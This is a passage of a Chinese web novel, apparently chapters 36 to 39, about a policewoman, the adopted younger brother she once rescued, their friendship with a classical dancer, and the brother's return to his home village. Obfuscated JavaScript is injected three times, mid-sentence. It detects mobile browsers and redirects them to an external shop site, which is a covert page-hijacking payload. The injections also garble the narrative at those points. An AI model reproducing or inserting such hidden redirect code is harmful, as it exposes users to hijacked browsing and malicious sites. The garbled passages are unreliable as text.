武厉枭接过来一看,居然是自己十四年前戴着红领巾披着绶带接受一个男孩子敬献鲜花的照片。“那年您跳下地缝勇救落难幼童,评上了省级优秀少先队员,来华东路小学做先进事迹报告会,我是少先队员代表向您献花的。您记得吗?我还发表讲话来着,号召全校同学向武厉枭大姐姐学习,做个勇敢善良的好少年。” 武厉枭笑得满面绯红,“哎呀,小时候的事,说起来真不好意思。” “厉枭姐姐,你可是我的偶像呀。后来语文课上的作文《我最敬佩的人》,我写的是你,你是我心中最了不起的英雄。” 武厉枭笑道,“这么说来,我们实在是太有缘分了。这张照片我都没有了,能发给我一张吗?” “没问题。姐姐,我们加个微信。”楼宇心迅速加上了武厉枭的微信,“下回你想看舞剧可千万别买票了,我们每个演员手里都有几张亲情票,回头我送你。你来看剧之前给我发个信息,我叫人去接你,带你去贵宾室休息,省得在大厅里等,太辛苦了。” “那太好了。”武厉枭拍了拍苏晏清的肩膀笑道,“恐怕你得多送一张,给我弟弟留一张。” “这位小兄弟是……” 苏晏清忙站起来道,“楼老师,我就是姐姐从地缝里救出来的那个幼童。我叫苏晏清。” “哦,原来是……当年全校组织我们观看厉枭姐姐英雄事迹的纪录片,没想到视频里的那个小朋友,长这么大了。难得老弟也喜欢欣赏舞剧,以后想看什么剧,跟哥说一声,我给你们送票,保证是第一排最好的位置。” “呵呵,”苏晏清笑道,“我没有那么高的艺术欣赏水平,其实,就是陪姐姐去看。” “是啊,其实我没想到厉枭姐姐是当警察的,也喜欢看古典舞。对了,姐姐,下回你来看舞剧,就早点到后台来找我,我带你看看我们是怎么化妆,怎么排练的。” “好啊好啊!”武厉枭兴奋得把苏晏清的手都抓红了,“宝宝,下次我们一起去。” 苏晏清点了点头。楼宇心又道,“晏清兄弟今年应该有十八岁了吧?” “是,十九岁。” “当时我在视频里看到你,就觉得这个小朋友长得真好看,特别可爱。现在看到长大的你,果然是英俊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17849743|211799||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 潇洒,不同凡响。难得你我兄弟有缘,来,哥敬你一杯。” 苏晏清忙端起酒杯,“宇心哥,论颜值,我怎么敢和你比?你能打败那么多竞争对手成为禾锦图腾的代言人,靠的不光是颜值,气质、修养、品位,更是在众人之上。”他举起酒杯,“来,哥,老弟敬你一杯。祝你龙腾虎跃,鹏程万里。” “谢谢,”楼宇心看了一眼苏晏清手里的红酒,“哎呀,怎么能让你喝酒呢。我去叫人给你换上饮料。” “不要紧,我已经成年了,一点点酒没关系。我先干为敬!”苏晏清从容地将酒一饮而尽。楼宇心也将酒饮罢,又给苏晏清盛了一碗天麻鸽子汤,“来,快喝点热汤解解酒,有没有头晕?” “没事,这酒度数很低。”苏晏清用公筷夹了一只墨鱼虾饺给楼宇心,“哥,这家店的招牌点心就是这道虾饺。姐姐带我吃过几次,味道特别好。今天知道要宴请你,特意点来请你品尝。” “多谢老弟。下回你和姐姐看完舞剧别急着回去,我请你们去剧院旁边的那家西餐厅吃饭,那家的法国芝士焗蜗牛味道不错。” 王玉梅笑道,“哎呦,今天看你们三个孩子一见如故,我真是高兴。” 楼宇心站起来举着酒杯道,“王总,今天我才知道,您不光是了不起的企业家,还是英雄的母亲。感谢您,养育了厉枭姐姐这样的英雄。这杯酒,我向您致敬!” 王玉梅连忙拉着他坐下,笑得合不拢嘴,“瞧瞧你这孩子,这么客气做什么!你若不嫌弃,私下尽可以叫我阿姨。” “嗯,阿姨。” “宇心,你家里兄弟姐妹几个?父母是做什么的?”王玉梅问道,“我看过你的资料,你还学过昆曲,是吗?” “是,我是独生子女,我爷爷是昆曲社的团长,奶奶是昆曲社的衣箱。我从小就在昆曲社长大,耳濡目染,也就拜师学艺了。我爸爸妈妈是中学的音乐老师。我十几岁倒仓时期,嗓子没倒好,就改学了舞蹈。” 武厉枭笑道,“难怪你的表演那么有古韵,粉丝们都说:好像从古画里走出来一般。” 楼宇心笑道,“姐姐你有所不知。我在杭州住过好几年,跟着爷爷住在老宅子里。爷爷喜欢中式园林风格,院子里有小桥流水,还种着梅花,做的是太师椅,睡的是千工床。可以说啊,我是半个古人。哈哈哈……” 王玉梅道,“听说你还会写毛笔字,画国画?” “是啊,爷爷对我的管教非常严格,从小就教我练书法,绘画,下棋,弹古琴,还有茶百戏。” 王玉梅笑道,“我这两个孩子也都跟着他们爷爷住,住在荣宝斋老宅里,有空的话欢迎你去做客。” “谢谢阿姨。荣宝斋的糕点天下闻名,能拜访荣宝斋老宅,是我的荣幸。” 武厉枭笑道,“哎呦,哪有什么荣幸不荣幸的,我爷爷那个人很随和的。爷爷知道你会写书法和画画,一定喜欢你。” 楼宇心一脸向往道,“武家慈悲为怀,兼爱众生,家风优良,我钦佩已久。” 王玉梅道,“枭枭,晏清,过几天宇心拍宣传照,你们要是有空的话,也一起来看看吧。” “好啊,谢谢妈妈。” “谢谢妈妈。” “谢谢阿姨!”楼宇心微笑地凝视着武厉枭,“有姐姐在场,我相信,宣传照一定会拍成功的。”他又像想起来什么似的,“对了姐姐,你以后喜欢什么周边也千万不要花钱买了,跟我说一声,我给你送过来。” “太好了!”武厉枭雀跃道,“那次我和宝宝去看《粉色密境》,我好喜欢那只桃花白兔包包,还有那只杏花胸针,但是我们赶到剧院时就没有了。后来我还去公众号和淘宝上买,都没有。我去粉丝群里问谁肯出,我愿意双倍价钱收,都没有人肯出。” 楼宇心呵呵笑道,“那两个周边因为造价偏高,怕粉丝买的少,产量不多。我那个还有两个,我明天叫同城快递送到荣宝斋去,好吗?” “嗯,”武厉枭目若星光,“麻烦你了宇心。” “晏清老弟喜欢什么周边?嗯……”楼宇心想了想,“上次《潇湘清愁》有个周边做得还不错,是一只做成青铜酒樽款式的马克杯。我明天一起打包送过来。” 37. 苏晏清写诗 楼宇心还真的说话算数,第二天真的把三样周边产品寄给了武厉枭。这个久经沙场的女英雄瞬间如小迷妹般激动得又叫又跳,“宝宝,宇心的朋友圈里有好多他的绝版照片和超清视频!”她抓着苏晏清一起看,“啊啊啊啊……这一段是他在《春雨渡》里给送玫瑰给我的视频,没想到出现在他朋友圈里了。哎呀,你说他那个时候是不是已经认出我了,是不是是不是?宝宝你说呀你说呀……” “是,”苏晏清无奈地苦笑道,“你是他童年时学习的榜样,他自然记得你。” “哎呀,当时有好多小朋友给我写信,说要向我学习。可惜啊,那些信后来都没有了。”武厉枭突然又兴奋不已,“哎哎哎,宝宝你看,宇心刚给我发的视频,他在后台跳《胡旋舞》呀!昨天他还给我发了他跳《柘枝舞》的视频呢!” “宇心哥真是才华横溢,天人之姿。” 武厉枭突然捧起苏晏清的脸,目不转睛地凝视着他,“你说的是宇心,还是你自己啊?最有才华和美貌的,是我们的晏清宝宝。在姐姐心里,你是第一位的。” “姐姐,”苏晏清握住武厉枭抚在他脸上的手,“你真的永远把我放在第一位吗?” “当然,你要是不信,我们拉钩钩。”武厉枭把自己的小拇指和苏晏清的小拇指钩在一起,“拉钩上吊,一百年不许变!”然后把二人的大拇指按在一起,“盖章章。” 五天后,楼宇心打电话邀请武厉枭去剧院后台参观。“姐姐,今晚没我的演出,我可以带你们到处转转。” “好,麻烦你了。” 武厉枭和苏晏清来到剧场时,楼宇心已经在大门口等候了。一看到苏晏清的丰田普拉多停下时,忙打开车门迎接他们,“姐姐累不累?老弟辛苦了。” “不累,”武厉枭拿出准备好的各色糕点饮料,“这是荣宝斋的梅花奶酥,龙井茶酥,桂花酸梅汤,菊花绿豆爽。请你和各位老师们品尝一下。” “太感动啦!姐姐,”楼宇心忙接过去,“我来拿。”待他在后台大方地将糕点分发给众演员时,激起一片赞誉和欢呼,“哎呀,楼老师,你女朋友人真好……” “是啊,气质又好,人又大方,英姿飒爽的……” “你是怎么认识这么好的姑娘的……” 楼宇心满面春风,“你们误会了,她是禾锦图腾王总的女儿,我童年的偶像。” “什么?王总的女儿?荣宝斋的大小姐……” “妈呀?荣宝斋?两百年中华老字号……” “是那个……前清宫廷供奉……长风公园的老东家……” 众人齐齐打量着武厉枭,目光中有猎奇,有兴奋,有敬畏,有谨慎……最终个个肃立,点头致意道,“谢谢……谢谢小武姑娘…… “谢谢武大小姐……不,武警官……” 武厉枭亲和力满满地一笑,“叫我厉枭就可以了。我今天就是来参观一下。” 团长走了过来,拿起一块糕点,笑着拍了拍楼宇心的肩膀,“宇心,你小子有造化,王总的女儿给你送糕点,一般人可没这个好运气!” 导演笑道,“要不怎么说宇心不是一般人呢!当年在舞蹈学院读大学的时候就是专业课第一。要不怎么说人比人得死,货比货得扔。我也跳了几十年舞,都没说混上观众一碗馄饨吃。” 副导演笑道,“看来,我想吃上人家送的糕点,得投胎换个嘴脸!” 楼宇心带着武厉枭到来到道具房,各式各样的绣墩、架子床、绣花门帘、锦帐、红绸宫灯……散了架的圈椅,生了荒草的灰砖黛瓦,破败凌乱的书简……处处都是布景,处处都有故事。 楼宇心道,“姐姐,我们古典舞的后台就是这样,说得好听是古香古色,但也有人说,跟兰若寺似的。” “这里看起来像是一座幻城。一个后台,也是一座戏剧的幻城。” 楼宇心点头赞许道,“姐姐真是我的知音。”又看向苏晏清,“老弟你看这里不害怕吧?那天有小朋友来参观,说我们这里像聊斋一样,还吓哭了。” 苏晏清笑道,“哥,我十九岁了,不是小朋友。” “呵呵,我这个人,可能是搞创作的原因,共情力比较强。厉枭姐姐管你叫宝宝,我也不知不觉得想照顾你。以后在大学里遇到什么事,就给哥发微信。我在山大也有几个朋友。” “谢谢你啊宇心哥。” “不用谢,能相识就是一场缘分。你我也算从小就认识。” “可惜当年你认识我,我却不认识你。” “呵呵,现在认识也不晚。这个世界上,有人认识很久,却无法交心。有人相识时间不长,却神交已久,心意相通。比如我对姐姐,对晏清老弟。” “嗯?为什么这么说呢?” “第一眼见到晏清老弟,我就觉得似曾相识,就像书上说的:这个弟弟我见过,如从天而降一般。虽是初相识,却如旧时友。” 苏晏清笑道,“我不是从天而降的,是姐姐把我从地缝里救上来的。” “哈哈哈……”楼宇心爽朗一笑,“姐姐,我记得你说过,最喜欢看《白鹭》,是吗?” “是啊,太美了,简直就是仙子。” “那你等我一下,我换上戏服,为你单独表演一段我新创作的独舞《朱鹮》。” 鹭影翩跹,以舞为诗,潮声作序,逐光而行。音乐声响起,楼宇心身穿雪白真丝舞衣,伫立、振翅、翱翔、奋飞,手执红绸腾跃舒展,刚劲的步伐与洒脱的身段交织。武厉枭看得如痴如醉,苏晏清则边看边在手机上记录者什么。 一舞终了,武厉枭起立鼓掌道,“太震撼了!绝美!我在网上看到过上海那边的《朱鹮》,好多动作都是不一样的。那个《朱鹮》是现代舞,你这版的朱鹮是古典舞。” “姐姐真是慧眼如炬!”楼宇心边舞边解释道,“这些是我从古书里汲取灵感,设计出的动作。这是小靠拧仰,这是敞胸托日,这是平沙飞鸥,这是弯月当空……还有这个折腰卧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17849744|211799||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 鱼……”只见他一个翘袖弯腰,好似柳枝轻摆,又一个凤凰仰颈,身若流云,直如仙子落九重。 苏晏清也鼓掌道,“宇心哥这一段舞蹈,借鉴了汉代的七盘舞之铿锵,又有唐朝宫廷舞的温婉大气。堪称身韵绝佳,柔若无骨。” “哦?晏清老弟,”楼宇心疑道,“上次你还说,你不懂古典舞的?刚才我看你一直在用手机做记录。” 苏晏清把手机拿给武厉枭,“姐姐,你看我写得怎么样?” 武厉枭拿过来一看,居然是一首诗: 朱鹮,丹红羽翼的精灵! 月光碎成满地的金粉,碧蓝的湖面清波漾漾,彤云般的翅膀,上天裁就的最美的舞衣。 翩然的圆舞曲,在山的丽影间变幻。 最柔软的潋滟,炫彩晶光的空明。朱鹮,从未有过如此魅惑的鸟,肢体纤细,脖领俏皮。 朱鹮,一泓流丽华美的地火! 裁一段明洁的翼翎,照亮黑暗的一隅! 朱鹮,追光中一抹缱绻的情! 裙裾流淌着澄澈的桃花水,在爱中遍跹。 朱鹮,在思恋中绽放斑斓的花海! 足尖写满馥郁的倾慕。 “宝宝,这是你刚才写的?”武厉枭惊喜万分,“哎呀,跟宇心的舞蹈一样美!” 楼宇心接过来仔仔细细地诵读了一遍,不由得拥抱了苏晏清,激动万分道,“晏清老弟!你……你……你太让我感动了……” 苏晏清轻柔一笑,“姐姐说过,一部舞剧,就是一首诗,她希望能把这首诗写下来。我当然要帮她完成心愿。” 楼宇心道,“想不到你文采这么好!” 武厉枭亲昵地挽过苏晏清的手臂,“那是!我们宝宝是山大法学院的学生,高考过了七百分的学霸呢!” “山大?”楼宇心笑道,“巧了,山大后面的桃女山是5a级景区,我读大学时在那里做过npc,跟那里的老板都熟。姐姐,下次你们想去旅游,我带你们去。” 苏晏清道,“桃女山姐姐带我去过了。那段瀑布实景舞蹈倒是真的很好看,颇得宇心哥的真传。” “桃女山的密室逃脱和剧本杀都很好玩,下次我带你们去体验一下。那里的密码解锁颇有难度,相信老弟你这样的学霸会很愿意挑战一下。” 苏晏清搂住武厉枭的肩膀,“哥,我姐每天都要查案,已经够费脑子了。休息的时候,我还是希望她能歇歇。至于逃脱难度密码解锁之类的,还是你我这样的男人去挑战吧。” 楼宇心看着眼前的十九岁少年,恍若一只舞动着尾羽的金孔雀一般,眉宇闪耀着满满的独占欲和攻击性。 楼宇心看懂了,那双澄澈的眼睛里,全是雄性间才能知悉的宣战。 这不是一个孩子该有的目光,不,他不是孩子,他是男人。 他不是一头听话的鹿,一个能把十六岁犯罪嫌疑人打成无期徒刑的人怎么会是驯顺无害的。他是一头雄狮,一头年轻的雄狮。 38. 回望口村 晚上,李光明躺在床上看手机,突然问道,“清哥,你的微信头像怎么是熊啊?” 苏晏清想起那天和武厉枭一起看《熊熊乐园》,武厉枭说他和小熊二一样可爱,就把他微信头像给改了。她在猪猪侠和小熊二之间权衡了很久,终于决定用了小熊二。然后给自己的微信头像换成了小熊大。 “宝宝,这样我可以一直保护你了。” 刘国君笑道,“光明我儿,你没看晏清整天对着手机傻乐吗?他当熊都美得直冒鼻涕泡。是不是啊?宝宝?” 李光明也哈哈大笑,“对对对,那天我无意中听到清哥播手机里的语音条。宝宝,周五晚上早点回家,宇心的新舞剧要开演了,给我们留了第一排的好位子。妈呀,是咱姐吧?宝宝,哈哈哈……宝宝……” 苏晏清脸色微红,“你们笑吧,再笑我姐送来的肉和点心都没有了。” 二人立刻闭嘴,刘国君煞有介事道,“光明爱子啊,你也太大惊小怪了。宝宝只是个称呼而已。你义母也管为父我叫宝贝呀。” “对对对,”李光明赶紧附和道,“微信头像啥的,还不是随机的。我高中同学的微信头像还是他家的抹布呢。国君的头像也够奇怪了,居然是古天乐版杨过!太古早了吧!” “你知道啥呀!你义母的微信头像是李若彤版小龙女,我当然要换成杨过了。”刘国君喜滋滋道,“你义母本来就比我大一岁,女生大点的,更心疼人。这点,晏清更有发言权,对吧?” 苏晏清却突然像想起什么似的,“国君,你看过古天乐版《神雕侠侣》吗?” “没有。那么古老的玩意儿,我一个05后,怎么可能看过!” “就是啊!”李光明笑道,“那些老剧画面太糊了,剧情又那么恋爱脑,憋憋屈屈的,一点儿都不爽。只有老古董的80后才爱看!” 刘国君笑道,“我也觉得是,你义母宿舍里的女生都爱看短剧,什么霸道总裁真假千金啥的,再不就是太奶奶重生,只有你义母,不爱看短剧,就爱看那些古早电视剧,看个老版《还珠格格》紫薇受刑那部分哭得稀里哗啦的!” 李光明笑道,“妈呀,那你家那位,过生日的时候生日蛋糕上得放寿桃吧?” “滚蛋!”刘国君突然想起来什么似的,“对了晏清,你的生日快到了吧?我们父子俩平时没少吃你的,你过生日,我们高低得表示表示。” “不用了,”苏晏清温和地笑笑,“都是一个宿舍的,吃点东西不值得计较。” 李光明想了想,“清哥是武家的少爷,吃穿用都那么好,我买的东西实在拿不出手。这样吧清哥,我给你擦一个月鞋,怎么样?” “我看行!”刘国君马上附和道,“为父身为长辈,不能被我儿比下去,晏清,我给你洗一个月袜子,外加刷一个月鞋垫,怎么样?” 苏晏清苦笑道,“不用了,你俩也太客气了。” 李光明道,“清哥,其实我俩不是冲你,谁让咱姐送来的肉和点心太好吃了呢!但我有一点觉得奇怪,你家的饭把你养成了冷白皮,咋我还是这么黑呢?” 刘国君皱眉道,“光明我儿呀,为父真怀疑你高考时找了□□的。你听说过谁是吃饭吃白的?只有说关在家里捂白的,要不就是化妆品沤白的。” “清哥,你有没有什么变白的秘方,我也想跟你一样白。” “没有,”苏晏清笑笑,“我天生这样。而且,我不觉得白有什么好的。黑点更健康。” “算了吧你!别凡尔赛了!”李光明撇嘴道,“你们颜值高的人哪知道我们的苦恼。比如你上一节体育课得有十几个女生来送饮料。我呢,连瓶白开水都没有。我看就我这样的,毕业后找个破庙出家当和尚去吧!” “明儿呀,为父给你指条明路。你可以娶个飞机杯过日子,还不用伺候媳妇,挺好的。” 李光明一枕头飞过去,“滚犊子!” 刘国君躲过去了,又把枕头扔了回来,“光明义子,你这枕头也太黄了吧?妈呀,黄得都黑了!就你这样的,以后结了婚,媳妇得嫌瘟了你!” “妈呀,你有脸说我呀?你那褥单不也是焦黄的吗?” “为父是年轻,激素油脂啥的分泌旺盛。” “我也年轻啊!你看清哥的枕头褥单啥的咋那么干净呢!” “你没发现你清哥哪像咱俩,用宿舍楼洗衣机跟别人的裤衩袜子臭球鞋一起搅和的!” “对哦!”李光明挠挠头,“清哥,为啥从没见过你用走廊里的洗衣机洗过衣服?” “我的那些衣服一般都是送去洗衣店。”其实,因为禾锦图腾的衣服用料考究,苏晏清打理时也着实要小心。那些真丝的衬衫只能用洗发水手洗,洗完后不能拧,任由它带着水晾干。又不能放在太阳底下晾晒,怕褪色。至于那些烫金、苏绣、钉珠、珠绣、宋锦……别人看是珠围翠绕的奢华富丽,谁知道他每次穿的时候要格外小心,洗的时候更是要叮嘱店家不能碰坏。所以当武厉枭说公司里新出了一件香云纱貂绒皮草大衣,想打电话让妈妈给苏晏清送来一件时,他马上央求,“姐姐,我一个学生,实在不适合穿的那么招摇。你就给我买一件普通的棉袄就可以了。暖和、轻便、挡风,上体育课也能穿就行,样式不拘。” “好吧好吧!我的宝宝这么好看,穿麻袋都好看,姐姐一定要给你准备一件最靓仔的棉服!” “光明我儿,你有空大逆不道,不如想象你社会实践怎么完成?晏清做了律师助理,你打算干点什么呢?” “你呢?我还一头雾水呢!” “我打算干乡村普法。” 李光明想了想,“对了,要不我去我原来的母校做普法宣传,怎么样?将未成年人性侵猥亵什么的?清哥,你觉得怎么样?” 苏晏清点头道,“挺好的。你是本地人,就去母校找原来的老师沟通一下,准备好ppt,一定没问题的。” “哎呀清哥,我想想就紧张,一个头两个大。”李光明跳下床坐到苏晏清身边搂着他,“清哥,要不你陪我去吧。我要是真站在那里讲课,还不得吓尿裤子了?” 刘国君也跳下来坐到苏晏清旁边,“我也害怕,我没去过农村,要不……我出车票,你俩陪我一起去?我负责拎包,外加管一顿农家乐五指毛桃土鸡公煲?” 李光明眉开眼笑道,“好耶好耶!一起去一起去!” 苏晏清道,“我姐让我周末回家……” 刘国君道,“哦,这样啊,那行,晏清,你放心回去吧。你放心,我和光明去农村绝不翻跃护栏,绝不上树,绝不偷桃,绝不往井里扔沙子,绝不满山打猴。” 苏晏清苦笑道,“好吧好吧,怕了你俩,这不是赤裸裸的威胁吗?我陪你们去吧!” 苏晏清知道这两个活宝别看已经二十岁了,心智还停留在幼儿园。上次他俩不知道上哪儿听说美术学院的学生找美女画裸体画,就偷偷溜进美术学院走廊趴教室门缝偷看,结果根本不是什么美女裸体,是画一个老头的半裸体画。美术学院的学生发现了他们,要把他俩送回法学院通报学工处。他俩害怕背个处分影响毕业,就说自己是来当裸模勤工俭学的学生。美术学院的老师信以为真,就让他们脱成半裸画画。结果这两个人也不知是紧张还是吃多了,一个劲地噗噗放屁,弄得满屋子恶臭……最后还是苏晏清出面跟美术学院道歉,人家给“法学院之光”面子,没有计较…… “耶!”刘国君想了想,“但是,我该去哪里呢?我又不认识哪个村?” 李光明道,“是,我也不认识哪个村。清哥,你认识吗?” 苏晏清的眼神一下子变得复杂而悠然,“去……三江镇的望口村吧……” 苏晏清坐上大巴车后就迷迷糊糊地睡着了,待他下车后,天哪!他吃惊得几乎站不稳,疯了似的冲到苏家原来那几间破旧的黄泥夯筑的老房子——早已不见了踪影,变成了一间窗明几净的村图书馆兼普法宣传室。 爷爷奶奶的吵骂声,爸爸的板子和皮鞭抽下来的声音,妈妈的哭声……全都没有了,彻底的销声匿迹了…… 他的眼泪滚滚滑落。 爷爷、奶奶、父亲相继死在监狱里,母亲不在意他,苏家老宅这么块罪恶的地皮,如今能变成普法宣传室,已经是改过自新了。 他又来到吴家大宅,那个幼年时天堂般的所在,如今也成了村委会兼游客接待中心。 慈爱和善的吴家老太太已过世,武厉枭舅舅已经高升进省市委宣传部。吴家大宅便按老太太生前遗愿捐赠给村里。 苏晏清曾经掉下去的那条地缝也被钢筋混泥土填平了,变成了柏油路,附近种满的红木香花、紫薇、夹竹桃和女贞,连同着曾经的一切过往,烟消云散。 苏晏清猛地想起来,吴家后宅那片菊园里,有一块能活动的砖块,是姐姐的秘密基地。姐姐带他去认过那块砖,还嘱咐过他,“如果你在苏家待不下去了,就去秘密基地搬开那块砖,那里有姐姐给你留的东西,记得拿着东西来找姐姐……” 苏晏清摸到了菊园最里那堵墙中间那块大青砖,搬开一看,里面居然是两个上了锁的大存钱罐!他将锁撬开后,一个罐子里放了一大堆的一元、五角、一角的硬币,另一个则放了许许多多的圆形方孔钱,康熙通宝、雍正通宝、乾隆通宝……还有一些银角子、银锭、银锞子、银铤和袁大头。硬币存钱罐最上面是一张泛黄的字条,上面的字迹工整而稚嫩:清宝宝,当你看到这封信时,你已经上小学了,能认识这些字了,对不对?姐姐不在村里时,如果苏家人再打你,对你不好,你就拿着这些钱,去长途汽车站坐车来找姐姐。这里面的硬币是姐姐攒的零花钱,都给你。这些铜钱和银子是爷爷给我的,说是高祖爷爷传下来的,应该能值一些钱,姐姐也留给你。我把我的地址告诉你:长安大街荣宝斋武家老号,省城里的人没有不知道的。这些钱你别千万让任何人知道,我外婆和我爷爷爸爸妈妈他们,都别告诉。这些钱,是姐姐给你保命的…… “姐姐……你真傻……”苏晏清深深叹了一口气,使劲擦去满脸的泪,抱着这两个罐子黯然离去。 村主任是个刚大学毕业不久的女孩,听到是山大的学生来进行普法宣传,便兴致勃勃地跟村小联系,让校长带上二十个孩子来听讲座。当苏晏清把带来的铅笔和橡皮一一分发到小朋友手里时,校长突然惊疑不已道,“小伙子,你是不是姓苏?” “嗯……是……” “晏清?你是晏清?” 苏晏清悚然一惊,手里的文具也随之掉落,他连忙蹲下去捡,校长却拉起他的手,把他带了出去。 “您是……” “我父亲……是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return 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“晏清啊,你有印象不?”一个满脸皱纹的瘦小老太太把手里的红枣塞过来,“就是村后头的那片雪狼山。雪狼修仙的地方。” 雪狼的故事,武厉枭小时候曾经给苏晏清讲过:雪狼幼年时,父母都被国师抓去剖心炼丹。他被一个孤女所救,孤女为护他被国师杀害。雪狼为救孤女,一念成魔。玉帝感动于二人深情,赐孤女还阳,二人结为夫妻。 “晏清你可不知道,雪狼山可是一座宝山,瀑布、溶洞、竹林、峡谷、钙化滩、七彩池……景色特别特别美。”村小的副校长道,“到了春天的时候,山上一半油菜花,一半杜鹃花,都要开疯了。这要是开发成旅游景点,咱村可就发啦!” “就是,晏清,待会儿你和你的同学一起去后山看看就知道……” “晏清,咱村本就不富裕,要是能争来这块山,不光能得补偿,还能开发旅游景区……” “晏清,你和吴老太君家熟,这么大的事,你得帮忙说句话呀……” “晏清,吴老太君家的外孙女从小就疼你,你跟她好好说说,武家拔根毛,比我们的腰还粗……” 苏晏清道,“既然雪狼山在两村交界处,何不搁置争议,共同开发?” 瘦小老太太撇撇嘴道,“你小孩子不知道老辈子的事。雪狼山是前清那会儿渡口村钱大员外嫡长孙女的嫁妆。钱大员外可不简单,说是当过咸丰爷的老师,家里特别特别有钱。所以给嫡长孙女陪嫁那么大方。钱夫人嫁的是望口村孙府的武举人,婚后生了一儿一女。那儿子是个老实本分的,女儿却不安分,成亲时当天带着嫁妆逃跑了,留书说是跑到日本找鉴湖女侠一起闹革命。嫁妆匣子里,就有雪狼山的地契。后来啊,孙小姐再也没回过望口村,说是在外面让日本鬼子杀了。她那些遗物被送了回来,现在放在市里面的抗日英雄纪念馆里,其中就包括雪狼山地契。” “这……的确很难判断雪狼山的归属。” 副校长说:“我奶奶活着的时候说过,咱望口村渡口村世代联姻,老辈子的规矩是:媳妇的嫁妆归自己,将来留给儿女结婚用,不归婆家。钱夫人把嫁妆给了孙小姐,孙小姐没嫁,还是望口村的人。那雪狼山就该归望口村。” “对对对,”立刻有人附和道,“咱村那么多家先人的祖坟都埋在雪狼山,这山就该是咱望口村的……” “这么多年,渡口村的人在山下建农家乐,把水都弄混了……” “渡口村见钱眼开,还说要在瀑布那里搞漂流!那瀑布水流那么急,非出人命不可……” “听说渡口村的人要开山炸石头,雪狼山到了他们手里,大家都没好日子过了……” “晏清,你是在望口村出生的,你可一定得帮帮乡亲们……” “就是啊晏清……” 苏晏清点点头,“大家放心,我一定尽力……” 武厉枭的电话就打了过来,他忙走到外面去接,“姐姐……” “宝宝,我刚才看你的手机定位,你怎么去了望口村?” “我的室友做社会实践,我陪他来这里做普法宣传。” “什么?”武厉枭的声音带着明显的怒气,“谁允许你擅自回望口村了?” “我……我来做普法宣传……” “普法宣传自然有当地派出所做,你一个小孩子掺和什么!你站在那里不许动,我马上派人来接你。你这孩子怎么这么不听话!” 39. 苏晏清挨打 两个小时后,一辆宾利车开到了望口村吴家老宅。王玉梅的助理下车点头致意道,“少爷,大小姐派我来接您。” “我……”苏晏清为难不已地看着李光明和刘国君,还有眼前的那些一脸纯真的孩子,“麻烦你等一下,讲座很快就结束了。” “大小姐吩咐我,见到您就马上带您回去,一秒钟都不许停留。”助理态度恭谨,“少爷,您别让我们难做。” 苏晏清按捺住情绪道,“麻烦你了,再给我十五分钟,我会跟姐姐解释。” 李光明和刘国君忙过来打圆场,“清哥,回去吧……” “就是,这么远折腾你陪我来,辛苦你了……快回去吧,别让咱姐生气。” 苏晏清冷着脸道,“要走我们一起走。这里一天只有两趟大巴车。我不能扔下你们先走。” 助理看了看手表,“好吧,少爷,我就再等您一会儿。麻烦您一定别跟大小姐说。” “放心吧,谢谢你了。” 苏晏清被送回武家老宅时又晕车了,头昏昏沉沉的,又疼又觉得恶心。他下车后扶着墙喘了好一会儿才去柜上跟爷爷打了招呼,就回房间躺下了。不知为什么,他心头一直惴惴不安,仿佛在等待一场终将到来的审判。 他听到了院子里的脚步声,知道是武厉枭回家了,忙飞奔出去敲她的房门,“姐姐,姐姐开门,我向你解释,好不好?” 武厉枭打开了房门,把他拉了进去,“你解释什么?你不用跟我解释!你长大了,有主意了,可以不听姐姐的话自己乱跑是不是?” “对不起,我……我不该不经你允许,一个人跑去……那么远的地方……” “还有呢?” “我……我不该擅自回望口村……” 武厉枭拉过凳子坐下,一脸威严道,“跟我说说,你怎么想的,跟我说说,为什么这么异想天开回去?” “我……”苏晏清嗫嚅道,“我陪室友做社会实践……” “做社会实践为什么要去望口村?” “我……我想看看那个地缝还在不在,想看看外婆家的大宅……” “你吃过多少亏自己心里不清楚吗?”武厉枭气得涨红了脸,“别人是吃一堑长一智,你呢?吃过那么多次亏怎么还学不会提高警惕?我怎么会有你这么笨的弟弟!” 苏晏清的眼泪溢满眼眶,他从口袋里拿出校长给他的银行卡,交到武厉枭手里,“姐姐……” “这是什么?” “是望口村小学校长给我的……说是老村长征集苏家老宅给的赔偿款……” “什么?”武厉枭的声音又高了几度,“你……你见到了当年那些人?” “是……是那个校长……认出了我……” “天哪!”武厉枭一巴掌拍在桌子上,“你让我说你什么好!” “我……” “你自己是学法律的,你还看不懂当年的事吗?《盲山》你总看过吧?”武厉枭攥紧了拳头,“当年村子里除了小孩子们,几乎所有大人都知道你妈妈是被拐卖来的。但为什么没人报警?因为在一个落后的村庄,形成的是一个对拐卖人口巨大的关系保护网。那些被拐卖的妇女是逃不出去的,村里那些男人会彼此通风报信,只要看到被拐卖来的女人敢逃跑,他们就帮着抓回来。” “姐姐……那些是过去的事了……” 